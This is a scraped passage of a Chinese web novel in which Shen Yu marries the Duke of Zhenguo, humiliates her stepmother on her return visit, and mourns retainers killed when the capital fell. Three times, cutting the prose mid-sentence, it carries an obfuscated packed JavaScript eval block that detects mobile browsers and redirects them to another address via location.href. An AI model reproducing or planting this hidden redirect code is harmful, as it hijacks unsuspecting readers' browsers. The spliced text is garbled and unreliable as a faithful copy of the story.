眼见着珍哥儿一天一天的大了，要是卫渊一辈子不娶妻，她就能顺理成章地把珍哥儿记到他名下。届时这镇国公府的一切都是珍哥儿的，包括镇国公的爵位。 但她知道这希望不大，所以在卫渊说要成亲时，她虽不悦，但也没拦着，只是退而求其次，希望他能找个名门贵女，将镇国公府的门庭再往上抬一抬，让五郎和七娘的脊梁骨能挺得更直一些。 可这竖子压根不是来询问她的意见的，而是已经定好了要娶那沈家的和离妇!这让她如何不气? 谁家孩子成亲不是父母之命媒妁之言?他卫渊倒好，仗着自己翅膀硬了，说娶谁就要娶谁，半点不给她拒绝的机会，直接就入宫去请了皇帝的圣旨，几天功夫就把六礼走完了。 别说卫渊如今已经贵为国公，就是搁在从前的卫家，娶妻也是要仔细相看一再斟酌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101676|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，从定亲到成婚少说也要一年半载。这般仓促行事，不知道的还以为他卫家不是娶妻，是半路打劫抢了个媳妇回来做压寨夫人呢。他卫渊也不嫌丢脸! 林氏气恼卫渊行事莽撞不顾及她的面子，对沈钰这个新妇自然也就没好脸色。 眼下卫诚拆穿了她那点小心思，她更觉羞恼，还嘴道：“那也不该是个二嫁妇!” 卫诚知道她这是实在找不到别的话说，只能抓着这点不放，嗤笑道：“二嫁不二嫁那也是你儿子要娶的，有什么不满找你儿子说去。” “另外我再提醒你一点，咱们卫家既有守寡二嫁的女儿，也有改嫁来的媳妇，你最好不要总把什么二嫁妇挂在嘴边。纵然你现在是镇国公府的老夫人，也还是要与妯娌们相处的，别得罪了人都不知道。” “我言尽于此，你自己好好想想吧!” 说罢起身离去了，不再跟林氏多费口舌。 ………… “小姐，这位姑爷看着性子不错呢。” 镇国公府的花园中，秋婵趁四下无人时在沈钰身边低声说道。 “相貌好，身量好，有权有势又待人和气，今日在老夫人面前还给您撑脸面。这么看起来，的确是比章家那个强多了。” 章家门第低好拿捏，但章茂芝在老太爷等人面前始终是被压着一头的，轻易不敢顶撞。要不是沈钰自己立得住，这些年不定被欺压成什么样。 国公府这边的老夫人看着虽不大好相处，但卫渊显然不惧她，也愿意给自己的妻子撑腰，这就比章茂芝强了不知多少。 只可惜…… 秋婵见她叹气，关切道：“怎么了?国公爷欺负你了?” 卫渊旁的都好，就是有个习惯让秋婵不大满意。他不喜让人贴身伺候，每每进屋总要把下人都遣退出去。 秋婵不能时刻跟在沈钰身边，也就无法对她的情况了如指掌，这才担心卫渊是不是在她不在的时候欺负了她。 沈钰摇头：“没有，只是觉得……他也不是哪里都比得过章茂芝。” 秋婵不解：“哪里比不过?” 她尚未成亲，对夫妻房事虽有些了解，但此刻也着实没想到这里去。 沈钰无奈笑了笑：“没什么，再看看吧。” 卫渊今年二十有七，纵然一直未曾娶妻，她也从没想过他可能还是个雏，因此昨夜那番过后，便觉得此人可能有些隐疾。 但她又想，或许是自己与他那心上人长得太像，他一时激动方才如此，便决定今夜再看看。 结果…… 沈钰看着帐顶，听着净房传来的水声，再次感慨：真是白瞎了一张好脸。 为着自己今后的人生，她心里开始琢磨。倘若卫渊真心待她，要与她共度余生，她是就这么凑合过一辈子呢?还是趁早想法子离开? 在章家时倒是无所谓，她便是养几个男宠也能让章家默默忍下不敢作声，但要在镇国公府这么做怕是不大行。 好难啊…… 沈钰无声叹了口气，在净房那边传来脚步声时闭上了眼，假装已经睡去。 16.回门 沈府，蒋氏呆坐在正堂，即便脸上扑了厚厚的粉也依旧难掩憔悴。 她嫁到沈家十余年，面上看似风光，实则从未被人放在眼里。 沈昀怨她，恨她，与她名为夫妻实则形同陌路，连个正眼都不愿给她。 沈钰是她的继女，却从不把她当母亲，对她半分尊重也无。明明是个晚辈，却总是高高在上对她一副蔑视之姿。 蒋氏也怨，也恨。恨沈昀，更恨沈钰。所以沈昀死时她虽伤心，却又暗喜。 她以为沈昀走了，这个家里再没有能给沈钰撑腰的人了，从此她便是真正的沈夫人，这个家的主人。可是沈家那些部下和家仆竟只听沈钰的，对她这个当家主母视若无睹。沈钰更是胆大包天，竟敢抓了泽儿威胁她，让她同意她远嫁青州。 蒋氏对沈昀原配所出的这个女儿更恨了，希望她最好出了京城就遇到兵乱，最好被人大卸八块死无全尸。 可最终沈钰平安抵达了青州，留在京城的她倒是经历了数次兵乱险些丧命。好不容易活下来，家财却被洗劫一空，连这宅子也被烧毁了半座。 沈氏族人不在京城，沈家旧仆又死的死散的散，没人能接济她，也没有前呼后拥的仆从能让她重拾沈夫人的荣光。 为了让日子好过一点，她不得不将烧毁的那半座宅子卖了出去。 那半座宅院虽毁了，但沈家的地段是极好的。如今新帝登基，许多新朝权贵和前朝旧臣都想在京城买房。这样的好地段，便是废弃的宅子也有人买，入手后修缮一番或是直接推倒重建就是了。 蒋氏连下锅的米都要没了，自然也没钱修缮那半座宅院，索性卖出去换些银钱，待熬过这些时日联系上沈氏族人，有了族中接济，便是不能重新过上锦衣玉食的日子，也不至于太过拮据。 她正苦熬着等营州沈氏的消息时，青州章家的人却找上门来，说要跟沈钰和离。 蒋氏一听，险些没忍住抚掌大笑。 她就知道那沈钰不是个好东西，果然嫁去夫家三年就让人受不了了，竟千里迢迢跑到京城，来请她这个继母做主让两家和离。 蒋氏对沈钰最了解不过了，知道若是和离，她是定不会便宜了章家的。别的不说，当年她带去章家的嫁妆定然要拿回来。便是拿不回全部，也会想法子能带走多少是多少。 沈昀过世时将半数家财都留给了沈钰，秦氏的私产更是全都留给了她，一点也没留给她和泽儿。别人不知道沈钰多么富有，蒋氏是知道的! 如今沈昀不在了，沈家那些旧仆也不在了，那个小畜生彻底没了依靠，一旦回了京城，还不是任由她拿捏? 蒋氏毫不犹豫地签了和离书，只等沈钰回来后好生磋磨她一番。 可等来等去，等到的却是镇国公府来提亲。 “凭什么?凭什么她总有这样的好运气?” 不过是个女儿家，却从小备受宠爱，珠围翠绕炊金馔玉，吃的用的比她的泽儿还好。长大了被杨家退了亲，嫁给章家这样的小门小户，却顺顺利利避过了京城的灾祸，三年后全须全尾地回来了。回来后本该被她这个继母掌控磋磨，却又莫名其妙嫁去了镇国公府! 到底凭什么? 宋妈妈在旁听到她又小声念叨起这几句话，瞥了一眼低眉顺眼站在一旁的大少爷，压着嗓子小声道：“夫人，国公爷和国公夫人待会就到了，咱可不兴再说这样的话了。” 今日三朝回门，沈钰会携镇国公一同回沈家拜见亲长。 按照沈钰的辈分，他们这些下人本可称呼她为姑奶奶，称呼镇国公为姑爷，如此方显亲近。 但沈家外嫁的这位姑奶奶跟家里显然是不太亲的，如今嫁的又是镇国公府这样的高门大户，他们更加不敢随意套近乎，便依着规矩按身份称呼。 蒋氏却因这句“国公夫人”又受了刺激，抬头狠狠瞪了她一眼。 沈家家仆离散，如今府里的下人都是新买的，包括这宋妈妈。 依着蒋氏从前的眼光，宋妈妈也就只能在她院子里做些洒扫的粗活。奈何如今银钱紧缺，沈家又没了沈昀做依靠，买下人都只能挑人家剩下的。宋妈妈这种既能干粗活又懂些礼仪规矩的，已经是她眼下能买到的最好的了。 因她这一瞪，宋妈妈不敢再多言，讪讪地低下头去。 蒋氏又将目光投向门口，心中反复念叨那句话：到底凭什么呢? 她念着念着，下人来通禀，说是国公夫人到了。 这几年来回逃窜寄人篱下的经历早已让蒋氏没了从前的从容气度，她屁股上长了刺一般噌地一下从椅子上站起来，脸上下意识堆起讨好的笑。全然忘了自己是长辈，即便对面是国公，她也可以安然坐在椅子上等着对方拜见。 门外有人缓步而来，蒋氏看着那翩翩人影，洒脱身姿，面上的笑渐渐挂不住了。 “沈钰?” 她看看来人，又看看她身后。哪有镇国公的影子，分明只有她和秋婵，以及几个眼生的小丫鬟。 “蒋春华。” 沈钰直呼其名，摆摆手将几个丫鬟留在门外，自己带着秋婵走了进去。 她进屋后四下看了看，直接在主座上坐了下来，道：“许久不见，你如今怎么落魄成这样了?我走时可是留了半数家财给你的，看这样子……是不剩什么了?” 蒋氏脸色铁青，疾步走回来：“镇国公呢?不是说你们今日一起回门吗?” 若非如此，她怎会一大早就洗漱更衣等在这里，还叫泽儿也老老实实在旁候着? 她要等的是镇国公，可不是她沈钰! 秋婵这时已经给沈钰倒了杯茶，她端起来喝了几口，这才不紧不慢道：“你找他啊?他今日有事，一大早就被人叫走了，要不你去国公府问问，看他去哪里了?” 蒋氏怎么可能去问，出言讥讽道：“三朝回门都没有丈夫陪着，只能自己回来，看来你在国公府过得也不怎么样啊。” 沈钰对此倒是毫不在意，甚至很是高兴。 若是卫渊陪她一道来，她还得规规矩矩 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“让我猜猜。他们是不是跟你说我三年无所出，又不愿让章茂芝纳妾，所以才想与我和离?” “你毫不犹豫地代我签下了和离书，觉得这样既能羞辱我，又能在我回京后掌控拿捏我。待你把我磋磨够了，出了心中恶气，就趁沈氏族人赶到前找个七老八十的鳏夫把我嫁了，让他们就算到了京城也无法把我带走。” “你是不是……已经开始寻摸合适的人选了?” 蒋氏对她能猜到自己的打算并不意外。他们彼此敌视，都盼着对方不得好死，自然也知道自己如果落到对方手里会是什么下场。 这些话并没能让她的神情有丝毫变化，但沈钰接下来说的那些却让她双目圆瞪身体发抖，几近崩溃。 “可是章家在骗你呀。” 沈钰在她耳边轻声道，语气分明温柔，却像刮骨的刀。 “他们之所以要与我和离，是因为知道我与镇国公的心上人长得十分相似。他们要把我送给镇国公来换取自己的前程，又不愿背负典卖儿媳的恶名，这才想出和离的法子。” “一旦和离，我就不再是章家妇。无论嫁与谁，都跟他们无关了。” “可笑你被人利用了还毫不知情，欢天喜地地在京城等着看我笑话，等着我狼狈回来后把我踩进泥里，让我永远翻不了身。” “那段日子你做梦都在想着要如何折磨我吧?是不是梦里都能笑出声?” 她说着自己先笑了出来，声音清亮不加掩饰。 “我真是要谢谢你。若非你代签了这和离书，我哪能顺理成章地离开章家，嫁到国公府?” “这一切，都是拜你所赐啊。” 蒋氏气血翻涌，耳边女子的声音渐远，像蒙上了一层雾。她眼中涌出血丝，再也克制不住心中情绪，尖叫着朝沈钰扑打过来。 秋婵一个箭步上前，手腕翻转掌心就势一推，轻轻松松就把她推得倒退几步摔在了地上。 17.试探 蒋氏眼前一黑，捂着胸口半晌说不出来。 沈钰居高临下地看着她，唇边依旧挂着笑：“你刚才让顾泽等在这，是想让他见见镇国公，在他面前露个脸吧?可惜啊，人家今日有事没来，以后估摸着也不会来了。” “他娶我本就只为我这张脸而已，可不是真想跟沈家结亲，要跟你做亲家的。你也别真当自己是镇国公的岳母了，免得闹出笑话让顾泽也跟着丢脸。” “至于先前国公府送来的那些聘礼……就当是你替我签了和离书的谢礼吧。你省着点用，足够撑到沈氏族人接济了。” 说罢她抬脚向外走去，没再多给蒋氏一个眼神。 房门打开，沈钰带着秋婵走了出去，又目不斜视地带着自己那几个小丫鬟离开了。 宋妈妈等人缩着脖子站在一旁，待人走远后连脚步声都听不见了才松了口气，稍稍抬头张望。 这位大小姐可真是厉害，见面就直呼继母名讳，还将他们这些下人都了赶出来。那通身的气派，似是从前就在这个家里当家作主，从不曾将蒋氏放在眼中一般。 蒋氏…… 宋妈妈这才想还有这么个人，赶忙进了屋。一进去却瞧见蒋氏趴伏在地上，捂着胸口直喘。 “夫人，夫人您这是怎么了?” 因着这声惊呼，正院里忙乱起来。有人喊着快将人抬到床上去，有人喊着快去请大夫。 ………… 沈钰出了正院后并没有直接离开沈家，而是四处走了走。 这曾经是她的家，她生活了十几年的地方，她对这里的一切都很熟悉。 院中很多花木是她亲自挑选的，花园里的秋千架是母亲在世时亲手为她搭建的。池塘边的凉亭柱子上有十几道划痕，无论后来修缮多少次也没有填补。因为父亲说母亲曾在这里给她量过身高，并顺手用发簪在柱子上划了一道，说以后每年都来划一下。 后来母亲不在了，父亲依旧坚持着这个习惯，每年她生辰时都要带她来这里比一下，然后划上一道作为标记。如此这般直到她十六岁……父亲病倒再也起不来为止。 在那之后，她自己又来这里划了三道，直至十九岁匆忙出嫁，远走青州。 沈钰寻着记忆走向凉亭，未到近处便看到了那根柱子，见上面果然一片凌乱。 “蒋氏这毒妇!” 秋婵气得跺脚，边骂边快步走了过去，伸手在柱子上摸了摸。 曾经留着十几道刻痕的地方现在横七竖八多出许多划痕，有些地方甚至被撬得坑坑洼洼凹凸不平，已完全看不出原来的模样了。 “这毛刺还扎手呢，显见是最近弄的。” 沈家以前的下人都是沈昀和沈钰的人，蒋氏这位夫人在家中形同虚设。即便是后来沈钰嫁了人，府中下人也绝不会让她破坏这根柱子。 但今日他们进府后见到的下人没有一个脸熟的，全是些新人。想来从前那些旧仆已尽数离散了，无人再看管这里，才让蒋氏将其毁了去。 “我听闻她也是陛下入京后才搬回来的，估摸着是回来后看四处凋敝，又没有银子修缮，过不回从前锦衣玉食的日子了，就拿这柱子出气。” 秋婵恨声道。 沈钰伸手摸了摸，果见上面有许多新的毛刺，轻笑一声：“说不定前几日还又来破坏了一回。” 三日前她跟卫渊成亲，城中敲锣打鼓很是热闹。蒋氏便是不出门也能听到外面的动静，估计又狠狠地气了一场。 秋婵这时已走向院中曾搭建秋千的地方，远远地看到那里空空荡荡，便气得喊了起来：“她她她……她把夫人给您搭的秋千也给拆了!” 沈钰闻言收回手，往秋婵所在的方向走去，见秋千果然已经不见，唯有曾经打过木桩的地方留下了几个坑洞。坑中的土虽也干了，但颜色跟别处不大一样，想来桩子才被拔出来没多久。 沈钰早料到如此，到没有多生气，只是心中难免遗憾。 母亲走得早，她对她已经没什么印象了。但因父亲时常提起，所以她的生活中其实有不少母亲留下的痕迹。 比如那记录她身高的柱子，比如曾搭建在这的秋千，以及这宅院里的一桌一椅，一草一木。 母亲走后父亲就没再改动过宅子的格局，连各处房间的陈设也几乎没有变动。除了必要的修缮以及她这个女儿想要自行布置的地方，这院子跟母亲离世时没什么两样。 如今秋千虽没了，但其他地方看着跟以前大致还是一样的，只是破落荒废不少，不似从前那般四时如春。 沈钰继续向前走，不多时就来到了东边院墙下。 从前的月洞门被改成围墙封死了，墙那边传来叮铃哐啷的响动，想来是买去那半座宅子的人正在翻修重建。 她已经让人去商量了，希望能将这宅子买回来。价钱高些没关系，或者她也可以直接用京城其他的宅院来换，只要对方肯出让，多花些钱她也愿意。 秋婵方才看到她的秋千被拆掉后就跑开了，这会挠着头回来，嘴里嘟嘟囔囔：“真是奇怪，大少爷的秋千也没了。莫不是蒋氏穷得揭不开锅，把两架秋千都劈了当柴烧了?” 顾泽小时候喜欢沈钰的秋千，曾跑过来偷偷玩过。沈钰不愿将母亲留给自己的东西分享给别人，就让人在花园另一处给他搭了个新的，叫他以后玩自己的，别来碰她的秋千。 秋婵本想去把那个秋千拆了泄愤，结果到了地方发现那架秋千也没了，地上同样只剩几个坑，看泥土颜色像是跟小姐的那架秋千同日拆掉的。 沈钰闻言也皱了皱眉，但并没有多想。京城之前乱了那么久，多少人家都被乱兵贼匪洗劫过不止一次，有些人家连门板都被拆去劈了当柴烧了，她家丢两架秋千着实不算什么。 只是可惜了那是母亲给她搭的秋千，往后无论搭多少个新的，都不再是从前那架了。 沈钰摇摇头：“走吧，再去别处看看。” 她又去了自己从前的院子，果然也是乱七八糟。值钱的东西都被搬空了，连床架都被拆了个七零八落。地上积着厚厚的灰，角落里挂满了蛛网，也不知多久没有清理了。 秋婵冷不防吸了一鼻子的灰，呸呸两声：“那毒妇好歹用半座宅子换了些钱，还有国公府给的聘礼，也不说多请些人把屋子打扫一下。” 沈钰一手掩着口鼻一手在面前扇了几下，嗡声道：“她的钱都花在顾泽身上了，听说四处托关系想让顾泽去国子监读书呢，哪里舍得把钱挪出来做别的。要不是以为今日镇国公要来，估摸着进门那条路都不舍得多摆几盆花。” “这样倒也好。她没钱就不会动这里，顶多是丢在这不管。有钱了说不定就要把这院子拆了，连地都要犁几遍，免得一看见就想起我。” 秋婵被她逗笑了，正要说什么，就见沈家的一个小丫鬟匆匆跑来，怯生生道：“大姑奶奶，姑爷……不是，国公爷来接您了。” 小丫鬟说到一半才想起宋妈妈的叮嘱，忙改口，瑟缩着生怕惹恼了沈钰。 沈钰有些诧异：“国公爷?” “是，”小丫鬟见她没生气，壮着胆子回话，“人就在门口呢，说是要回国公府，正好路过咱们门前，估摸着您跟夫人应该说完话了，就等您一起回去。” 沈钰有些莫名，但还是点了点头：“我知道了。” 说罢不再逗留，带着秋婵等人离开了。 卫渊果然已经等在门口，正背手站在马车边看着街景，也不知在想着什么。 沈钰上前，福身施了一礼：“国公爷。” 卫渊已经听到她的脚步声，转身笑着伸出手来：“走吧，回家。” 沈钰颔首，在他的搀扶下上了车，与他一道回国公府了。 ………… “今日回门可还好?蒋氏可有为难你?” 车上，卫渊出声问道。 沈钰心头微动，想到他今早说有事不能陪她一起回门，刚才又大张旗鼓地站在沈家门口却不进去，试探着问道：“国公爷知道我与蒋氏不合?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他起初想等两人说开了再行房事，但沈钰进门后对从前的事闭口不提。他摸不准她是生章家的气还是生自己的气，愈发不敢主动开口。 这三日他试探着亲近，见她没有反对的意思，便大着胆子想要更进一步。至于之前逼她和离的事……她若不提，是不是就可以这么过去了? 卫渊抱着侥幸的态度，试探着问她愿不愿意。沈钰却被这句话问蒙了，一时没反应过来。 什么可不可以? 她愣怔片刻，察觉男人目光越发灼热，呼吸也越来越急促，这才明白过来，心里不可置信地哈了一声。 难不成他前几日一直不成事，不是不行，是在试探? 想到这，沈钰差点没忍住一个白眼翻上天。 阴谋诡计逼她和离的时候不问她愿不愿意。让她回京嫁到镇国公府的时候不问她愿不愿意。这会到床上了，问她愿不愿意?不知道的还以为他镇国公是什么温良恭俭让的大善人，从不曾做过强抢人妻之事。 沈钰心中冷笑，面上神情却很快调整了过来，低眉敛目含羞带怯地嗯了一声。 卫渊本就急切，得了她的允准哪还按捺得住，指尖一勾便扯开了她的衣襟。 ………… 一场云雨，他满足地将人拥在怀里，埋首在她颈侧半晌不愿起来。 沈钰身上粘腻，伸手将人轻轻推开，披了件衣裳自去净房清洗。 卫渊两眼放空地躺在床上，胸口仍因方才的欢愉急剧起伏着，一偏头却见那走去净房的人背影婀娜，衣裳下两条纤长的腿白净如玉。他喉头滚动，不禁又躁动起来。 沈钰走进净房，心里正埋怨这姓卫的实在不行，让人不上不下的，身后忽然传来一阵脚步声。 不待她回头看去，一双臂膀便环了上来。 卫渊赤脚站在她身后，贴在她耳畔咕哝道：“我来服侍夫人。” 18.闲散 与卫渊成亲半个月后，沈钰渐渐觉得有些不对。 卫渊明明身居高位，掌着京中要职，却几乎不出院门。整日关在国公府里不是打拳就是练刀，要么就是读读书写写字。偶尔听说有人来找他汇报公务，也是匆匆来匆匆走，从不见他与人详细商议什么。 这日子过得不像是正值壮年手握重权的高官权贵，倒像是致仕在家养老。 起初沈钰以为他这是因为成婚告了假，在家中休沐。但这都半个月过去了，加上之前筹备婚礼的日子，他少说休息了二十来天了，却仍旧没有要上职的意思。 十日前沈钰收到一封书信，约她有空到城外一见。她本打算等卫渊上值了就去，谁知一等就等到今天，他依旧人在家中坐，俸禄天上来。 “国公爷在吏部告了多久的假，是不是也该回去当职了?” 这日她实在没忍住，在卫渊大马金刀地坐在她身旁看她侍弄花草时出声问道。 卫渊有一下没一下地摆弄着她剪下来的花枝：“我不必告假，有事的话陛下会召我回去的。” 合着压根不是休沐，是他自己不愿去当差，仗着皇帝的恩宠赖在国公府里享清福呢。 沈钰知道伴君如伴虎的道理，即便卫渊曾与皇帝亲如兄弟，但到底也还是君臣，为免有功高震主之嫌，权盛时就应适当退避一些，以免引起皇帝猜忌。 但卫渊这……这是不是避得太过了? 如今朝廷正值用人之际，他手握大权却领着俸禄不办事，一天到晚只知道吃喝玩乐，这不是尸位素餐吗?他哪怕意思意思去衙门点个卯呢? 沈钰剪掉一根花枝，道：“这样是不是不太好?朝中如今正缺人，陛下又信重你，你带头不作为，岂不是让陛下为难?” “没有不作为，”卫渊道，“我手底下养着一班人呢，等闲小事他们便能处理了。我若事事亲力亲为，还要他们作甚?” 他说得理所应当，沈钰一时也找不到什么话反驳，只手中剪刀又咔嚓一声。 “那国公爷没什么亲朋好友吗?这半个月来我见你日日待在府中，既不出门交际也无人上门拜访。除了大婚那日有宾客登门，似是无人愿意与咱们府上来往。” “有人来的，我懒得见，将他们都打发走了。” 卫渊不以为意地道。 沈钰握紧了手中剪刀，唇边的笑浅了几分。 这家伙一天到晚正事不做，只知道像个跟屁虫似的不分白天黑夜地粘在她身边，没事就坐在她旁边盯着她看，像欣赏自己好不容易得来的珍宝古玩。 但珍宝古玩是死物，自是任由他把玩品鉴。可沈钰是个大活人，一日两日她尚且坐得住，三五日也能勉强忍耐，这般十天半个月，便是个泥人儿也有几分脾气了，何况她本就脾气不大好。 她本想再装一段时间的贤良淑德，他在家时她便也陪他一起，摆出个“相夫”的姿态。但若卫渊一直不出门，她也不能一直等，索性直接道：“明日我要去宝相寺上香，估摸着下午才能回来。晌午国公爷便自己用饭吧，不必等我。” 卫渊听说她要出门，半撑起身：“我陪你一起去。” “不必了。”沈钰道，“宝相寺离得并不远，当天就能回来。我还约了从前的几个姐妹一起，国公爷若是同去，我们到不好说话了。” 卫渊闻言皱了皱眉：“哪几个姐妹?成亲了吗?嫁到谁家府上了?” 他本是想问问她这几个姐妹的夫家是谁，若是他邀上他们的夫婿一起，大家便能顺理成章地一同前往。到时候他们几个男子一路，他们几个女子一路，又能作伴又不耽误他们姐妹叙话。 但问完后却半晌没等到沈钰的回答，卫渊还当她没听见，正想再问一遍，却听得咔嚓一声，最后一枝花被剪了下来，沈钰面前花盆中只余光秃秃的枝干。 他看看满桌满地的残花，又看看沈钰紧抿的唇角，这才反应过来她刚才那几句话只是告知他，不是让他跟着。 卫渊心头有些失落，看了看那些残花败叶和她隐忍不发的面色却又觉得有些好笑，伸手捏着她的唇角往上提了提：“我不去就是了，别生气。” 沈钰偏头避开，声音冷淡：“不敢。” 明明已经在发脾气了却还说不敢，卫渊唇边笑意更盛，凑过去在她唇角啄了一下：“那你晚上早些回来，等你用晚膳。” 沈钰无可无不可地嗯了一声，第二日一早给林氏请过安后便出了门。 彼时卫渊正在府中的校场上练刀，秦恪上前问道：“国公爷，要跟着吗?” 卫渊手中刀风未停：“确定她安全就好，别的不用管。” 那便是跟以前一样远远地跟着不要上前打扰的意思。 秦恪会意，转身交代了下去。 ………… 京城不是荒郊野岭，不似在野外那般只要盯住了一行人的车马行迹便能顺顺利利地跟随一路。 这里人来人往车马如织，沈钰乘坐的马车上虽有镇国公府的徽记，离得远了却也是看不清的。 若是不想把人跟丢，最多只能隔半条街的距离，再远就不能确定自己走到街角时还能不能寻到前方马车的踪迹了。 沈钰身边的人都很警觉，没多久就发现有人跟着，报给了她。 “他们这是什么意思?怕小姐您跑了吗?”秋婵撇嘴道，“要不要把他们甩掉啊?” 虽然京城城防掌握在卫渊手中，但比起他和他身边的那些部下，沈钰对这里要熟悉得多，甩开他们并不难。 但她还是摇了摇头：“不必，我今日的行程没有什么需要瞒着的。若是让他们跟丢了，保不齐会派更多人来寻，更麻烦。” 秋婵想了想，颔首道：“也是，姑爷没准还会亲自来找您。他可真是太粘人了，您成婚这半个月，他比奴婢陪在您身边的时间还长呢。” 说起这个沈钰也觉得头疼，思索片刻后吩咐道：“遣人去各处问问，卫渊是自打入了京就一直如此吗?他当真不用上朝，也不用去衙门点卯不用去军营巡视?就每天躺在家里白拿俸禄?” 这跟前朝那些官蠹有什么两样?沈钰很是看不上这样的人。 秋婵诶了一声，当即从一旁的小抽屉里取出纸笔，写了张纸条塞进行小竹筒中递了出去。 ………… 马车穿过热闹的街巷，一路驶出城门，却并未直接前往宝相寺，而是先进了京郊的一座庄子。 庄子前早有人候着，远远地看到马车驶来，激动地迎上前：“小姐。” 沈钰掀开车帘看了一眼，见到熟悉的面容后不由露出个粲然的笑，当即跳下车一头扎进那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15130876|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人怀里：“惠姑。” 被唤作惠姑的妇人哎了一声，红着眼睛将她紧紧抱住：“几年没见，小姐过得可还好?我怎么瞧着好像瘦了呢?” 沈钰泪光盈盈，声音有些哽咽：“没有，我过得好着呢。” 说着又看向一旁站着的另外几个人：“陈叔，邱嫂，高世伯。” 几人也都笑看着她，眼角多多少少有些泛红。 沈钰的视线越过他们的肩头向后看去，见没有更多人在这里，就知道从前的老人怕是没剩多少，能来的就这几个了。 慧姑知晓她在看什么，轻轻拍了拍她的肩：“走吧，带你去见见大家。” 沈钰点头，牵着她的手往山上走去。 说是山，其实就是一个矮坡。坡上走几步便是一座坟头，好些的有个石碑木碑刻着名姓和生卒年月，更多的则只是简单的用石头垒了个坟包，除了相熟之人，没人知道底下埋的是谁。 惠姑几人带着沈钰走到了一座最严整的坟墓前，抚着那块巨大的石碑道：“能收敛尸骨的都在这了，其余的……尸身无处去寻，只能刻个腰牌再放身衣裳进去，权当是衣冠冢了。” 那碑上刻着近百个名字，皆是沈家旧仆，且大多都是年轻力壮的护卫随从。有些是从小就跟在沈钰身边的，一直负责保护她的安危。 沈钰抚着石碑上的名字，低声念着：“夏岚，莹儿，玉枝，高闵，梁叶……” 这些曾经都是她无比熟悉的人，如今却只能在石碑上看到他们的名字。 “他们没走，是不是?”沈钰喃喃道，“城破的时候，他们没有逃走。” 脸上有道刀疤的美妇人邱翎抬了抬下巴：“大家都不是孬种，怎可撂下街坊四邻自己逃走?” 一旁的高琰闻言皱眉，不动声色地用胳膊肘杵了她一下，让她闭嘴。 当初小姐不愿离京，他们好说歹说才把人劝走。眼下邱翎这样说，倒像是小姐丢下他们自己跑了似的，岂不是让小姐自责? 邱翎没明白他杵自己作甚，瞪眼正要骂回去，却见这个向来不发脾气的老好人沉了脸，知晓怕是自己方才的话有些不妥，于是讪讪地闭了嘴。 惠姑倒没怪她，只是温声解释：“不是大家不想走，我们都知道乱兵一旦入城，城中必定生灵涂炭。以我们区区百人之力如螳臂当车，属实没必要硬碰硬。” “但小姐你走后没多久，狗皇帝就下令封锁了城门。我们应对不及，全都被关在了里面，之后只能利用出城采买或是倒夜香等法子一次送一两个人出来。为防被人发现，还不敢送得太勤，隔三差五才能送上一回。” “如此这般拖了大概半年，昌平王带兵攻打到京城附近。府里余下的人想趁乱带着街坊四邻从叛军兵力最少的南城门逃出去，谁料负责南大营的许寿光竟开门揖盗，不仅不抗敌，还主动将叛军引了过去。” “叛军见南城门无需攻打便能进城，纷纷前往。大家逃避不及，首当其冲……” 之后的惨烈可想而知，别说他们带着那么多不会武艺的普通人，便是各个都勇武善战，在那般境况下又能如何? 骑兵的马蹄反复踩过几遍，活生生的人便成了一捧血肉做成的泥土，尸骨无存。 如邱翎这般只是脸上被划了一道的，实在是万中无一的侥幸。 19.哭诉 邱翎冷哼一声：“早料到那些少爷兵靠不住，却也没想到他们竟主动投敌。狗皇帝那些年做了不少混账事，杀了那么多忠臣良将，唯独对京营这些兵马一直很是器重，用最好的马匹和最好的兵器养着他们。结果敌军来了，他们却是降的最快的!” “后来顺天军和奉南王也杀了过来，他们还想再投靠这些人。但也不是谁都愿意收留三姓家奴的，那姓许的最后被人点了天灯，死前叫唤了三天三夜。” 这结局固然令人拍手称快，但死去的同伴却再也回不来。因此邱翎每每想起，还是要咒骂几句。 沈钰从秋婵手中接过帕子，一边擦去石碑上的浮土一边问：“我走后半年叛军才打来，既然如此，为何早早地就关闭了城门?” 若是不那么早关城门，一定有更多人能顺利地逃出来，不至于像现在这般只能在石碑上相见。 惠姑轻叹一声，提起这桩往事只觉颇多无奈。 “大概是小姐走后半个月，宫中收到八百里加急战报，说顺天军击溃了另外两支乱军，将那两支乱军收拢到一起，汇作一支五万大军，正直奔京城而来……” 战报最后那句直奔京城将灵帝吓坏了，当即下令封锁城门，从此后非必要不得出。 其实按当时局势，顺天军附近还有昌平王和奉南王两支叛军，双方兵马跟顺天军不相上下。 为了阻止顺天军首先攻下京城，这两支叛军定会想尽办法阻挠。他们几方互相拉扯，顺天军一时半会根本打不到京城。 但灵帝已经昏了头，除了封锁城门不知道还能做什么好了。 因着这个缘故，沈家的计划被打乱，一众人都被关在了城中。 这其中还有一个原因，便是蒋氏当时觉得京城才是最安全的，死活不肯听从他们的建议，放弃城中财物搬去庄子上去住。 